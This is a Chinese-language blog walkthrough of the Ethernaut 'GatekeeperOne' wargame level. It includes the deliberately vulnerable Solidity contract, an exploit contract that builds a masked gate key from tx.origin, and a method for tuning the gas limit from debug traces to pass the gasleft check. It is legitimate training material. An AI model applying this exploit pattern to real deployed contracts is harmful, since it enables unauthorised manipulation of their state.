ethernaut GateKeeperOne

通关要求: 通过三个限制函数,以entrant身份注册。
题目源码

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
攻击合约代码:
contract Exploit {
    
    using SafeMath for uint256;
    GatekeeperOne gate;
    
    constructor(address addr) public {
        gate = GatekeeperOne(addr);
    }
    
    function hack() public {
        bytes8 _gateKey = bytes8(uint64(tx.origin)) & 0xFFFFFFFF0000FFFF;
        address(gate).call.gas(999999)(abi.encodeWithSelector(bytes4(keccak256("enter(bytes8)")), _gateKey));
    }
    
}
第一个条件gateOne

player写一个攻击合约去调用被攻击合约即可

第三个条件gateThree

分析三个条件可以知道,这里的_gatekey需要满足一些条件,后16位与tx.origin的后16位相同,16~32位需要全部为0,前32位只要不为0即可,所以可以构造这样的_gatekey:0x0000000100002e0c,这里的2e0c是我地址的后16位.
当然我在代码中使用的是:

bytes8(uint64(tx.origin)) & 0xFFFFFFFF0000FFFF

之后再在攻击合约中调用被攻击合约的enter函数即可:

bytes8 _gateKey = bytes8(uint64(tx.origin)) & 0xFFFFFFFF0000FFFF;
address(gate).call.gas(999999)(abi.encodeWithSelector(bytes4(keccak256("enter(bytes8)")), _gateKey));
// 这里的gate是我实例化的被攻击合约
// solidity0.5.0以上的版本似乎得使用abi.encode()将函数调用以及参数编码一下

具体的abi编码函数请看这里:abi

第二个条件gataTwo

这里需要满足执行到这一步时所剩余的gas8191的倍数
那么这里我们需要进行debug调试,我们第一次先执行hack函数,并给一定量的燃气,这里我给了999999
metamask弹框的时候别急着点确认,去edit一下gaslimit
ethernaut GateKeeperOne_第1张图片

ethernaut GateKeeperOne_第2张图片
交易被验证以后,去etherscan中看一下debug trace
ethernaut GateKeeperOne_第3张图片
因为第二个条件执行了gasleft(),我们需要找一下Gas操作:获取剩余可执行燃料数
ethernaut GateKeeperOne_第4张图片
Gas本身的操作也是消耗燃气的,所以我箭头所指的数字才是gas操作获得的剩余可执行燃气数
接着我们去计算一下:
958392 % 8191 = 45
997158 - 45 = 997113
(ps:其实这里我漏了第一次的,但是第一次的trace已经弄不出来了
第一次的数据是:
gaslimit=999999,
Gas操作获取到的是961188
计算可得:961188%8191=2841,999999-2841=997158
所以第二次的输入是997158
)
那么第三次执行hack函数需要设置gaslimit997113
ethernaut GateKeeperOne_第5张图片
此次执行结果为958347,计算发现958347%8191==0,也发现此时的trace中并没有*revert,那么此时回到ethernaut中使用命令:

await contract.entrant()

可以发现结果是player,就可以提交结果啦。
如果enter函数执行失败的话,trace中是有revert操作的
在这里插入图片描述

你可能感兴趣的:(ethernaut,区块链)